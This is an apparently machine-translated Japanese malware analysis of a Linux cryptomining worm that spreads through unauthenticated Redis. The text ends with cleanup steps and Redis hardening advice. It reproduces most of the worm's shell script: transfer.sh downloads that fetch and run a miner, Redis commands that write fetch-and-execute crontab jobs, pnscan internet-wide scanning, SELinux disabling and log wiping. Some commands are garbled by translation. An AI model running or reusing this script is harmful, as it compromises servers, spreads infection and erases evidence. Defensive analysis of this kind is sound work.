1. 背景
Redis不正問題によりLinuxシステムのroot権限を取得する攻撃手法が公開されて以来、その使いやすさから、ハッカーはこの問題を利用してマイニングやスキャンなどを目的としたLinuxサービスへの侵入を行っています。ブラックプロダクションでは、この問題を悪用し、pnscan を使用して他のマシンを自動的にスキャンして感染させるタイプのマイニングが存在します。このタイプの攻撃は常に存在していましたが、最近増加傾向を示しており、最近何度も捕捉されています。について詳しく分析していきます。
2. 脆弱性の説明
まず、悪用された脆弱性について説明します. デフォルトでは、Redis は 0.0.0.0:6379 にバインドされます. シールドにファイアウォールが使用されていない場合、Redis サービスはパブリック ネットワークに公開されます. 認証がオンになっていない場合、この場合、ターゲット サーバーにアクセスしている間に、任意のユーザーが承認なしで Redis にアクセスし、Redis データを読み取る可能性があります。 Redis へのアクセス権限を持たずに Redis 関連のメソッドを使用することにより、攻撃者はターゲット サーバーの ~/.ssh フォルダーにあるauthorized_keys ファイルに自分の公開キーを正常に書き込み、ターゲット サーバーに直接ログインできます (Redis サービスが存在する場合)。 root 権限から始めて、この問題を利用してサーバー上で root 権限を直接取得できます。
ZoomEyeやSHODANで検索すると、多くのRedisサービスがパブリックネットワーク上に公開されており、攻撃の対象となる可能性があることが分かりました。
## 3. 侵入分析
キャプチャされたイベントを分析した結果、侵入プロセス全体におそらく次のリンクが含まれていることがわかりました。 1. ポート 6379 を開いた状態で Linux サーバーをスキャンします (その後の感染スキャン ネットワーク セグメントは 1.0.0.0/16 から 224.255.0.0/16 です) 2. redis-cli 経由で Redis に接続し、.dat ファイルにプリセットされている利用コマンドを実行して Redis データ ファイルを /var/spool/cron/root に変更し、データを Redis に挿入してスクリプトをダウンロードして実行します。 . アクション書き込み crontab タスク 3. スクリプトを通じて上記の関連動作を実装し、埋め込みを完了してマイニング プログラムを開始します 4. pnscan を再度コンパイルしてインストールし、スキャンを続けて次のターゲット # に感染します。IV. スクリプト分析
侵入とその後の感染全体の主な機能は、Redis の問題を crontab タスクに書き込むことによってダウンロードおよび実行された NaNd スクリプト (https://transfer.sh/MIpIA/tmp.9kIguIhkI7) に基づいています。基本的にプロセス全体の詳細をすべて取得します。これはベース スクリプトであり、解釈を通じて関連する機能を分析できます。 1. 睡眠 1 2. 検索 . -max Depth 1 -name “.mxff0” -type f -mmin 60 -delete 3. [ -f .mxff0 ] && 0 を終了します 4. エコー 0 > .mxff0 コードのこの部分が繰り返し実行の判定に使用される限り、.mxff0 ファイルはマーク ファイルとして使用されます。ファイルが存在する場合は、スクリプトがマシン上で実行されたことを意味し、直接終了します。それ以外の場合は、次のように記述します.mxff0 ファイルを開き、次のステップに進みます。 5. トラップ「rm -rf .m* NaNd tmp.* .r .dat $0」 EXIT スクリプトの終了後に関連ファイルとスクリプト自体を削除するようにプリセット アクションを設定します。 6. setenforce 0 2>/dev/null 7. echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null 8. crontab -r 2>/dev/null 9. rm -rf /var/spool/cron 2>/dev/null 10. grep -q 8.8.8.8 /etc/resolv.conf || echo “nameserver 8.8.8.8” >> /etc/resolv.conf 11. rm -rf /tmp/* 2>/dev/null 12. rm -rf /var/tmp/* 2>/dev/null 13. rm -rf /etc/root.sh 2>/dev/null 14. 同期 && エコー 3 > /proc/sys/vm/drop_caches 15. cat <26. iptables -I INPUT 1 -p tcp –dport 6379 -s 127.0.0.1 -j ACCEPT
27. ps xf | grep -v grep | grep “redis-server|nicehash|linuxs|linuxl|crawler.weibo|243/44444|cryptonight|stratum|gpg-daemon|jobs.flu.cc|nmap|cranberry|start。 sh|watch.sh|krun.sh|killTop.sh|cpuminer|/60009|ssh_deny.sh|clean.sh|./over|mrx1|redisscan|ebscan|redis-cli|barad_agent|.sr0|clay|udevs| .sshd|/tmp/init” | while read pid _; do kill -9 “$pid”; 完了
ここでは、iptables がさらに追加され、ポート 6379 がローカル アクセスのみを許可するように制限されています。同時に、マイニング、Redis クライアント、クローラー、およびその他のプロセスを含む関連プロセスを強制終了します。ここでの目的も比較的単純で、他のプロセスによる再侵入を避けるためです。プロセス;
28. rm -rf /tmp/* 2>/dev/null
29. rm -rf /var/tmp/* 2>/dev/null
30. echo 0 > /var/spool/mail/root
31. エコー 0 > /var/log/wtmp
32. エコー 0 > /var/log/secure
33. エコー 0 > /root/.bash_history
関連するログイン ログとコマンド操作履歴をクリアします;
34. YUM_PACKAGE_NAME=”iptables gcc redis coreutils bashcurl wget”
35. DEB_PACKAGE_NAME=”coreutils bash build-essential make gcc redis-server redis-tools redis iptablescurl”
36. if cat /etc/*release | grep -i CentOS; then
37. 全部きれいにしてください
38. yum install -y -q epel-release
39. yum install -y -q $YUM_PACKAGE_NAME
40. elif cat /etc/*release | grep -qi Red; then
41. 全部きれいにしてください
42. yum install -y -q epel-release
43. yum install -y -q $YUM_PACKAGE_NAME
44. elif cat /etc/*release | grep -qi Fedora; then
45. 全部きれいにしてください
46. yum install -y -q epel-release
47. yum install -y -q $YUM_PACKAGE_NAME
48. elif cat /etc/*release | grep -qi Ubuntu; then
49. エクスポート DEBIAN_FRONTEND=noninteractive
50.rm -rf /var/lib/apt/lists/*
51. apt-get update -q –fix-missing
52. $DEB_PACKAGE_NAME の PACKAGE の場合; apt-get install -y -q $PACKAGE; 完了
53. elif cat /etc/*release | grep -qi Debian; then
54. エクスポート DEBIAN_FRONTEND=noninteractive
55. rm -rf /var/lib/apt/lists/*
56. apt-get update –fix-missing
57. $DEB_PACKAGE_NAME の PACKAGE に対して; apt-get install -y -q $PACKAGE; 完了
58. elif cat /etc/*release | grep -qi Mint; then
59. エクスポート DEBIAN_FRONTEND=noninteractive
60. rm -rf /var/lib/apt/lists/*
61. apt-get update –fix-missing
62. $DEB_PACKAGE_NAME の PACKAGE に対して; apt-get install -y -q $PACKAGE; 完了
63. elif cat /etc/*release | grep -qi Knoppix; then
64. エクスポート DEBIAN_FRONTEND=noninteractive
65. rm -rf /var/lib/apt/lists/*
66. apt-get update –fix-missing
67. $DEB_PACKAGE_NAME の PACKAGE に対して; apt-get install -y -q $PACKAGE; 完了
68.その他
69. 1番出口
## 70. フィ 71. 睡眠 1 72. if ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ); then 73.curl -kLs https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 > .x112 || wget -q -O .x112 https://codeload.github.com/ptrrkssn /pnscan/tar.gz/v1.12 74. 睡眠 1 75. [ -f .x112 ] && tar xf .x112 && cd pnscan-1.12 && make lnx && make install && cd .. && rm -rf pnscan-1.12 .x112 76. フィ この長いコンテンツ リストの主な目的は、pnscan をダウンロード、コンパイル、インストールすることです。コンテンツから、さまざまなオペレーティング システムの判断を確認し、依存モジュールをインストールし、コンパイルのために github から pnscan のソース コードをダウンロードすることができます。コンパイルしてインストールする理由については、さまざまなシステムと互換性があり、固定特性の形成を避けるためにコンパイルごとに生成される pnscan の MD5 が異なるためと推測されます; 77. tname=$(mktemp) 78. OMURL=https://transfer.sh/MIpIA/tmp.vOYTgmtZge 79.curl -s $OMURL > $tname || wget -q -O $tname $OMURL 80. NMURL=$(curl -s –upload-file $tname https://transfer.sh ) 81. mv $tname .gpg && chmod x .gpg && ./.gpg && rm -rf .gpg この部分では主に、マイニング プログラムをダウンロードして .gpg に名前変更し、実行権限を追加して実行後に削除し、https://transfer.sh/ に再アップロードして新しいリンクを取得します。 82. [ -z “$NMURL” ] && NMURL=$OMURL 83. ncmd=$(ベース名 $(mktemp)) 84. sed ‘s|’”$OMURL”‘|’”$NMURL”‘|g' < NaNd > $ncmd 85. NSURL=$(curl -s –upload-file $ncmd https://transfer.sh ) 86. エコー「フラッシュ」> .dat87. echo ‘config set dir /var/spool/cron’ >> .dat
88. echo ‘config set dbfilename root’ >> .dat
89. echo ‘set Backup1 “tn*/2 * * * *curl -s ‘${NSURL}’ > NaNd && bash NaNdnt”‘ >> .dat
90. echo ‘set Backup2 “tn*/5 * * * * wget -O NaNd ‘${NSURL}’ && bash NaNdnt”‘ >> .dat
91. echo ‘set Backup3 “tn*/10 * * * * lynx -source ‘${NSURL}’ > NaNd && bash NaNdnt”‘ >> .dat
92. echo ‘save’ >> .dat
93. echo ‘config set dir /var/spool/cron/crontabs’ >> .dat
94. echo ‘save’ >> .dat
95. echo ‘exit’ >> .dat
コンテンツのこの部分では、主に新しい .dat ファイルが生成されます。これには、元の NaNd スクリプト内のマイニング プログラムのダウンロード アドレスが、前の手順で https://transfer.sh/ にアップロードすることで取得された新しいアドレスに置き換えられることも含まれます。 Redis を使用する場合 関連文;
96. pnx=pnscan
97. [ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan
98. [ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan
99. for x in $( seq 1 224 | sort -R ); do
100. for y in $( seq 0 255 | sort -R ); do
101. $pnx -t512 -R '6f 73 3a 4c 69 6e 75 78' -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' $x.$y.0.0/16 6379 > .r .$x.$y.o
102. awk ‘/Linux/ {print $1, $3}’ .r.$x.$y.o > .r.$x.$y.l
103. while read -r h p; do
104. cat .dat | redis-cli -h $h -p $p –raw &
105. 完了 < .r.$x.$y.l
106.完了
107.完了
主な手順は、pnscan を呼び出して、ポート 6379 が開いており、オペレーティング システムが Linux であるターゲットのサブネット セグメント 1.0.0.0/16 から 224.255.0.0/16 をスキャンし、次に redis-cli を使用して .dat 内のコマンドを実行することです。次のターゲットに進むための感染; ここで、pnscan の -W パラメータ値は '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' で、変換されたコンテンツは '*1rn$4rnINFOrn' です。対象の Redis サービスにリクエストを送信して、Redis サーバーの各種情報や統計値を取得し、-R パラメーター値 '6f 73 3a 4c 69 6e 75 78' (変換後の内容は os:Linux) を使用して、それは Linux システムです。
108. エコー 0 > /var/spool/mail/root 2 >/dev/null
109. エコー 0 > /var/log/wtmp 2>/dev/null
110. エコー 0 > /var/log/secure 2>/dev/null
111. エコー 0 > /root/.bash_history 2>/dev/null
112. 0
を出る 最後のステップは仕上げ作業で、関連するログとコマンドの実行履歴をクリアすると同時に、スクリプトが終了するときに、スクリプトの先頭にあるトラップで事前に設定されたアクションがトリガーされ、削除操作が実行されます。関連ファイルとスクリプト自体を削除します (rm -rf m* NaNd tmp .* .r .dat $0)。
スクリプトを解釈することで、ワーム全体の動作と侵入プロセスを基本的に理解しました。これは、最初に説明したプロセスです。
さらに、スクリプトを読んだところ、侵入プロセス全体はそれほど複雑ではないものの、実際にはスクリプトには考慮すべき多くの「エンジニアリング」の詳細が含まれており、侵入者の「徹底した考慮」に人々が驚嘆していることがわかりました。
1. スクリプトの繰り返し実行を避けるために、.mxff0 ファイルを繰り返し実行の検証に使用します。 2. 成功率を高めるために、いくつかの環境の前処理: a) SELINUX を閉じる b) 8.8.8.8 DNS を追加 c) tmp ディレクトリをクリアします。 d) システムキャッシュをクリアします e) システムリソース制限を変更します 3. トレースの削除 a) トラップのプリセット アクションを使用して、スクリプトの実行後に関連ファイルとスクリプト自体を削除します。 b) 関連するログインやその他のログ、コマンド実行履歴を繰り返しクリアします 4. ピア防止 a) iptables を使用して、パブリック ネットワーク上で Redis サービスを開いて Redis サービスが再び侵入されるのを防ぎます b) ピアによって残される可能性のある侵入動作を排除し、関連プロセスを強制終了します。 5. システムの互換性 a) オペレーティング システムを決定し、対象を絞った方法で関連コマンドを実行し、依存パッケージをインストールし、pnscan のコンパイルとインストールの成功率を最大化します。 b) SELINUX を閉じ、setenforce と /etc/sysconfig/selinux を変更することでこれを実現します。 c) Crontab でスクリプトをダウンロードして実行するタスクを記述し、curl、wget、lynx を通じて実装します。 d) Pnscan スキャンによりオペレーティング システムの判断力が向上し、不必要な感染の試みが減少します。 6. 機能の削除、存続の継続 a) Pnscan はインストールおよびコンパイル方法を採用しています。これにより、さまざまなシステムでの互換性が向上するだけでなく、固定された MD5 機能の形成が回避されます。 b) https://transfer.sh を使用して転送します。固定機能を形成する固定リンクを避けるために、感染するたびに新しい接続が生成されます。 c) システムにダウンロードされたすべての関連ファイルには、ランダムに生成されたファイル名が使用されます 侵入者のさまざまな「配慮」があるからこそ、侵入や感染の成功率は一定の水準に達するのである。5. 安全に関する提案
ウイルス駆除とシステム回復
主に、スクリプトの関連する動作を参照して、対応する動作を復元および削除します:
1. 元のシステム環境とビジネス ニーズに応じて、SELINUX を閉じ、SELINUX
を再度開きます。 2. /var/spool/cron をクリアし、元のバックアップに従って復元します
3. /etc/resolv.conf を変更して DNS サービス 8.8.8.8 を追加します。影響がない場合は、そのままにするか、
を削除します。 4. システムリソース制限 (/etc/security/limits.conf) を変更し、バックアップ状況に応じて復元できるようにしました。 5. ポート 6379 の Iptables ルールを追加しました。ビジネスに影響しない場合は、
を保持することをお勧めします。 6. 該当プロセスを強制終了し、業務に必要なプロセスが含まれているか確認し、状況に応じて復旧します。 7. 関連するパッケージがインストールされています。上記の特定のリストを参照してください。状況に応じて削除することも、影響がない場合は保持することもできます。
8. pnscan をコンパイルしてインストールした後、/usr/local/bin/pnscan
を削除できます。 9. 関連するログと tmp ディレクトリをクリアします。これはシステムには影響せず、無視して構いません。
10. マイニング プロセスと感染をスキャンする pnscan を開始しました。プロセス: .gpg、pnscan、直接強制終了
いくつかの中間ファイルも含まれています。スクリプトには関連する削除操作が含まれていますが、確認のためにグローバルに検索することをお勧めします: .mxff0、.x112、.gpg、.dat、NaNd、.r.xx.xx.o/l、tmp .xxxx
Redis サービスの強化
1. 必要に応じて、バインド項目を変更します。外部ネットワークに Redis サービスを開かないように、Redis を 0.0.0.0 にバインドしないでください。iptables を使用するか、Tencent Cloud ユーザーはセキュリティ グループを通じてソースへのアクセスを制限できます
2. ビジネスに影響しない場合は、root として Redis サービスを開始しないでください。また、デフォルトのポート 6379 を変更することをお勧めします。Redis の不正な問題をターゲットとするほとんどの侵入は、デフォルトのポート
# をターゲットとしています。 3. AUTH を構成し、パスワード検証を追加します。これにより、パブリック ネットワークに公開されている場合でも、パスワードが脆弱でない限り、ハッカーは Redis サービスにアクセスして関連操作を行うことができなくなります。 4. rename-command CONFIG "RENAME_CONFIG" を使用して関連コマンドの名前を変更します。これにより、ハッカーが承認なしで Redis サービスに接続した場合でも、コマンドを知らなくても関連データを取得できるだけで、それ以上悪用することはできません
以上がLinux Redis 自動マイニング感染ワーム インスタンスの分析の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。